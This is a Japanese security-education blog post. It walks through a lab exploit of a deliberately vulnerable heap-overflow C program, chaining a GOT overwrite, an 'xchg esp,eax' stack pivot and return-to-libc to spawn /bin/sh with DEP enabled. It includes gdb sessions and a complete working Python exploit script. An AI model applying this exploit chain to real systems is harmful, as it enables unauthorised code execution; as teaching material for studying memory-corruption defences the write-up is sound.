GOT overwriteとStack pivotによるDEP回避(xchg esp型)
一つ前のエントリではヒープオーバーフローを利用したGOT overwriteによりシェルコードの実行を行ったが、DEPが有効な場合ヒープ領域に置いたシェルコードを実行することはできなくなる。 スタックバッファオーバーフローにおいてDEPを回避する方法にはReturn-to-libcがあるが、ヒープオーバーフローを利用してスタック領域の値を書き換えることは容易ではない。 しかし、このような場合でもStack pivotと呼ばれる方法によりスタックの頭を差し替えることで、Return-to-libcに繋げることができることが知られている。 ここでは、ヒープオーバーフローを利用したGOT overwriteからStack pivotを行い、Return-to-libcに繋げることによるシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
ここでは、一つ前のエントリと同じコードを利用することにする。
/* www.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct Box {
int size;
char *buf;
};
struct Box *create_box(int size)
{
struct Box *box;
box = malloc(sizeof(struct Box));
box->size = size;
box->buf = malloc(size);
return box;
}
void free_box(struct Box *box)
{
free(box->buf);
free(box);
}
int main(int argc, char *argv[])
{
int size;
struct Box *box1, *box2;
size = atoi(argv[1]);
box1 = create_box(size);
box2 = create_box(size);
printf("[+] box1->buf = %p\n", box1->buf);
printf("[+] box2->buf = %p\n", box2->buf);
strcpy(box1->buf, argv[2]);
strcpy(box2->buf, argv[3]);
puts(box1->buf);
puts(box2->buf);
free_box(box2);
free_box(box1);
return 0;
}
前回はDEP無効であったが、今回はASLR無効、DEP、SSP有効でコンパイル・実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc www.c $ ./a.out 100 AAAA BBBB [+] box1->buf = 0x804b018 [+] box2->buf = 0x804b090 AAAA BBBB
与える文字列が指定したバッファサイズ内であれば、正しく動作していることが確認できる。
ライブラリ関数呼び出し時のレジスタの値を調べてみる
生成された実行ファイルをディスアセンブルし、puts関数呼び出し前のアセンブリコードに注目してみる。
$ objdump -M intel -d a.out 08048522 <main>: ... 80485c4: e8 f7 fd ff ff call 80483c0 <strcpy@plt> 80485c9: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18] 80485cd: 8b 40 04 mov eax,DWORD PTR [eax+0x4] 80485d0: 89 04 24 mov DWORD PTR [esp],eax 80485d3: e8 08 fe ff ff call 80483e0 <puts@plt> ...
1回目のputs関数の第一引数はbox1->bufであるから、PLTセクションにあるputs@plt関数が呼ばれるときeaxレジスタにはbox1->bufのポインタが入っていることがわかる。
確認のため、gdbでも調べてみる。
$ gdb -q a.out
Reading symbols from /home/user/tmp/www/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
...
0x080485d3 <+177>: call 0x80483e0 <puts@plt>
...
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) b *main+177
Breakpoint 1 at 0x80485d3
(gdb) run 100 AAAA BBBB
Starting program: /home/user/tmp/www/a.out 100 AAAA BBBB
[+] box1->buf = 0x804b018
[+] box2->buf = 0x804b090
Breakpoint 1, 0x080485d3 in main ()
(gdb) x/i $pc
=> 0x80485d3 <main+177>: call 0x80483e0 <puts@plt>
(gdb) i r
eax 0x804b018 134524952
ecx 0xbffff94a -1073743542
edx 0x804b090 134525072
ebx 0xb7fd1ff4 -1208147980
esp 0xbffff750 0xbffff750
ebp 0xbffff778 0xbffff778
esi 0x0 0
edi 0x0 0
eip 0x80485d3 0x80485d3 <main+177>
eflags 0x246 [ PF ZF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/s $eax
0x804b018: "AAAA"
(gdb) quit
A debugging session is active.
Inferior 1 [process 12380] will be killed.
Quit anyway? (y or n) y
たしかに、puts@plt関数が呼ばれるときのeaxレジスタにはbox1->bufのポインタが入っている。
ところで、ROPのエントリにて使ったlist_gadgets.pyを用いてlibcのROP gadgetを調べてみると、次のようなgadgetが存在することがわかる。
$ python list_gadgets.py /lib/i386-linux-gnu/libc.so.6 > gadgets.txt $ cat gadgets.txt | grep xchg | grep esp 9b8c9: xchg esp,eax ...
xchgは二つのレジスタの値を交換する命令である。
GOT overwriteの書き換え先としてこのgadgetを利用すると、ジャンプした後eaxレジスタとespレジスタの値が交換され、スタックの頭がbox1->bufに移動する。
そしてret命令が実行されると、box1->bufの最初の4バイトが次のリターンアドレスとして参照される。
つまり、スタックバッファオーバーフローにおけるReturn-to-libcと同様のレイアウトでbox1->bufにデータを入れておけば、そのままそれが実行されていくことになる。
このようにしてスタックの頭を差し替える方法は、Stack pivotと呼ばれる。 Stack pivotには、次のようなROP gadgetがよく用いられる。
xchg esp,eaxmov esp,eaxadd esp,[some constant]
エクスプロイトコードを書いてみる
上の説明をもとに、puts関数のGOTアドレスをxchg esp,eaxを指すアドレスに書き換え、Return-to-libcに繋ぐエクスプロイトコードを書くと次のようになる。
# exploit.py
import sys
import struct
from subprocess import Popen
size = int(sys.argv[1])
base_libc = int(sys.argv[2], 16)
addr_got_puts = 0x804a010 # objdump -d -j.plt a.out
addr_libc_system = base_libc + 0x0003f430 # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system"
addr_libc_exit = base_libc + 0x00032fb0 # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " exit"
addr_libc_binsh = base_libc + 0x161d98 # strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
addr_libc_pivot_eax = base_libc + 0x9b8c9 # search "xchg esp,eax" by list_gadgets.py
buf1 = struct.pack('<I', addr_libc_system)
buf1 += struct.pack('<I', addr_libc_exit)
buf1 += struct.pack('<I', addr_libc_binsh)
buf1 += 'A' * (size - len(buf1))
buf1 += 'AAAA' * 2
buf1 += struct.pack('<I', addr_got_puts)
buf2 = struct.pack('<I', addr_libc_pivot_eax)
with open('buf1', 'wb') as f:
f.write(buf1)
with open('buf2', 'wb') as f:
f.write(buf2)
p = Popen(['./a.out', str(size), buf1, buf2])
p.wait()
このコードは、二つのBoxが確保するバッファのサイズ、libcのベースアドレスを順に引数に取る。
また、Return-to-libcにおいてはsystem関数から/bin/shを呼び出し、その後exit関数が実行されるようにしている。
gdbでlibcのベースアドレスを調べ、そのアドレスを引数にセットして実行してみる。
$ python exploit.py 100 0xb7e2c000 [+] box1->buf = 0x804b018 [+] box2->buf = 0x804b090 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
DEPが有効な実行ファイルに対し、Stack pivotからのReturn-to-libcでシェルが起動できていることが確認できた。